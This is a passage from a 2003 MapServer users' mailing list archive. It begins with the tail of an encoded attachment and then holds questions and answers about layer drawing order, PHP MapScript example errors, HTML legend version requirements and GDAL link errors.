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
DgWwSZP5rfopL5fSR6I6/wArf//Z
------=_NextPart_000_00C0_01C2BCA6.A9A374D0--
From nida at webstar.co.uk Wed Jan 15 05:49:57 2003
From: nida at webstar.co.uk (nida Khan)
Date: Wed, 15 Jan 2003 13:49:57 -0000
Subject: [Mapserver-users] cant c top layer
Message-ID: <01ca01c2bc9c$fe05aca0$a901a8c0@private.webstar.co.uk>
This is a multi-part message in MIME format.
------=_NextPart_000_01C7_01C2BC9C.FDA89880
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi every1,
I have 3 layers in my map file, One polygon, second multiline , third =
point, where point is the top layer.
Problem is, when I draw all three layers I can not c points layer, =
although my polygon layer is TRANSPARENCY 20.
I could c the point layer when I draw with multiline layer or on its =
own.
either its not drawing the points at all, or if its its underneath the =
polygon layer.... but why? should'nt it be ploting it on top of polygon =
layer???
I appreciate any input
Regards
Nida.
My map file is like this
=20
LAYER # start of the "district" layer object
CONNECTIONTYPE postgis
NAME "ward_freq"
CONNECTION "host=3D127.0.0.1 port=3D5432 user=3Dpostgres =
password=3Dblah dbname=3Dtest"
DATA "wkb_geometry from city"
STATUS ON
TYPE POLYGON
TRANSPARENCY 20
MINSCALE 150000
LABELITEM "total_freq"
#LABELMAXSCALE 310000
CLASS
TEMPLATE "ttt_query.html"
NAME "ward_freq"
COLOR 255 207 165
OUTLINECOLOR 0 0 0
# BACKGROUNDCOLOR 0 0 0
LABEL
POSITION CC
FONT fritqat-italic
TYPE truetype
SIZE 6
COLOR 0 0 0 =20
END #End of LABEL
END #End of Class Object
END # end of layer object
=20
# to display river on the map
LAYER # start of the "river" layer object
CONNECTIONTYPE postgis
NAME "river"
CONNECTION "host=3D127.0.0.1 port=3D5432 user=3Dpostgres =
password=3Dblah dbname=3Dtest"
DATA "the_geom from river"
STATUS ON
TYPE LINE
METADATA
"DISCRIPTION" "RIVER"
"RESULT_FIELDS" "feat_code"
END
CLASS
TEMPLATE "ttt_query.html"
EXPRESSION ([feat_code] =3D 71)
NAME "river"
COLOR 0 0 255 =20
# SYMBOL "solid" =20
SIZE 2
OUTLINECOLOR 0 0 0 =20
BACKGROUNDCOLOR 0 0 0
END # end of class object
END # end of layer object
LAYER # start of the "points" layer object
CONNECTIONTYPE postgis
NAME "points"
CONNECTION "host=3D127.0.0.1 port=3D5432 user=3Dpostgres =
password=3Dblah dbname=3Dtest"
DATA "the_geom from code_point" =20
STATUS ON
TYPE POINT
CLASS
NAME "codepoint"
COLOR 0 0 0
OUTLINECOLOR 255 89 89
SYMBOL 'circle'
SIZE 5
END # end of class object
END # end of layer object
------=_NextPart_000_01C7_01C2BC9C.FDA89880
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi every1,
I have 3 layers in my map file, One polygon, second =
multiline=20
, third point, where point is the top layer.
Problem is, when I draw all three layers I can not c =
points=20
layer, although my polygon layer is TRANSPARENCY 20.
I could c the point layer when I draw with multiline =
layer or=20
on its own.
either its not drawing the points at all, or if its =
its=20
underneath the polygon layer.... but why? should'nt it be ploting it on =
top of=20
polygon layer???
I appreciate any input
Regards
Nida.
My map file is like this
LAYER # start of =
the=20
"district" layer object CONNECTIONTYPE postgis NAME=20
"ward_freq" CONNECTION "host=3D127.0.0.1 port=3D5432 =
user=3Dpostgres=20
password=3Dblah dbname=3Dtest" DATA "wkb_geometry=20
from city" STATUS ON TYPE POLYGON =20
TRANSPARENCY 20 MINSCALE 150000 LABELITEM=20
"total_freq" #LABELMAXSCALE 310000 =20
CLASS TEMPLATE =
"ttt_query.html" NAME=20
"ward_freq" COLOR 255 207 =
165 =20
OUTLINECOLOR 0 0 0 # BACKGROUNDCOLOR 0 0 =
0 =20
LABEL POSITION=20
CC FONT=20
fritqat-italic TYPE=20
truetype SIZE=20
6 COLOR 0 0 0 =
END=20
#End of LABEL END #End of Class Object END # end of layer=20
object
# to display river on the =
map LAYER=20
# start of the "river" layer object CONNECTIONTYPE =
postgis =20
NAME "river" CONNECTION "host=3D127.0.0.1 port=3D5432 =
user=3Dpostgres=20
password=3Dblah dbname=3Dtest" DATA "the_geom from =
river" STATUS=20
ON TYPE LINE =20
METADATA "DISCRIPTION"=20
"RIVER" =
"RESULT_FIELDS"=20
"feat_code" END CLASS TEMPLATE =
"ttt_query.html" EXPRESSION ([feat_code] =3D=20
71) NAME "river" COLOR 0 0 =
255 =20
# SYMBOL "solid" SIZE=20
2 OUTLINECOLOR 0 0 0 =
=20
BACKGROUNDCOLOR 0 0 0 END # end of class object END # end =
of layer=20
object
LAYER # start of the "points" layer object =
CONNECTIONTYPE postgis NAME "points" CONNECTION=20
"host=3D127.0.0.1 port=3D5432 user=3Dpostgres password=3Dblah =
dbname=3Dtest" =20
DATA "the_geom from code_point" STATUS ON =
TYPE=20
POINT CLASS NAME=20
"codepoint" COLOR 0 0 0 =
OUTLINECOLOR=20
255 89 89 SYMBOL 'circle' =
SIZE=20
5 END # end of class object END # end of layer=20
object
------=_NextPart_000_01C7_01C2BC9C.FDA89880--
From leo.olivieri at libero.it Wed Jan 15 06:36:11 2003
From: leo.olivieri at libero.it (=?iso-8859-1?Q?leo.olivieri@libero.it?=)
Date: Wed, 15 Jan 2003 15:36:11 +0100
Subject: [Mapserver-users] (no subject)
Message-ID:
I have installed MapServer usind Red Hat 7.2Enigma and I have the
instrunction on MapServer site.
I have installed PHP 4.0.6
I have installed the example gmap75.
I have the problem:
1)Running gmap75.phtml i have a white page with the error:
Call to a member function on a non object in gmap75.php3 on line 549
2) running test_draw_legend_icon.phtml i have:
warning :mapServer Errrors in msGetLabelsize:Could not find/open on
line 46
Fatal error: call to a member function on a non object on line 48
From morissette at dmsolutions.ca Wed Jan 15 07:01:03 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 15 Jan 2003 10:01:03 -0500
Subject: [Mapserver-users] HTML-Legends ???
References: <003201c2bc5f$dd8d86b0$111b550a@nt.halle.de>
Message-ID: <3E2577AF.502C7A19@dmsolutions.ca>
> Mike Elstermann wrote:
>
> i'm working with mapserver 3.5 with win-binaries on win2000-prof an
> iis.
> i can't use the html-legends. i have insert the line: TEMPLATE
> "legend.html" in the map-file in the legend-part,
> but i get following error-message: loadLegend(): Unknown identifier.
> (TEMPLATE):(60)
>
You need MapServer 3.6 and up to use the HTML legend. Version 3.5.1
that is referred to in the HTML Legend HOWTO was never released... it
became version 3.6. We'll have to fix the docs.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From frauke.trurnit at gmx.de Wed Jan 15 07:39:27 2003
From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de)
Date: Wed, 15 Jan 2003 16:39:27 +0100 (MET)
Subject: [Mapserver-users] unable to load dynamic library
References: <3E221F66.99E723E5@dmsolutions.ca>
Message-ID: <32733.1042645167@www14.gmx.net>
Hi Daniel, hi list,
I can't find a copy of GDAL on my system.
But I have two versions of GD: the SuSE-GD and the version I installed.
Could this be a problem?
I changed something in the Makefile of the MapServer, because I always
receives with the call of "make" following error messages:
mapraster.o(.text+0x4d4): undefined reference to `GDALGetRasterXSize'
...
mapraster.o(.text+0x8ba): undefined reference to `GDALGetRasterXSize'
mapraster.o(.text+0x92a): undefined reference to `GDALGetRasterYSize'
mapraster.o(.text+0x98b): undefined reference to `GDALGetRasterYSize'
...
mapresample.o(.text+0xb74): undefined reference to `GDALReadWorldFile'
mapresample.o(.text+0xb83): undefined reference to `GDALGetRasterXSize'
mapresample.o(.text+0xb95): undefined reference to `GDALGetRasterYSize'
collect2: ld returned 1 exit status
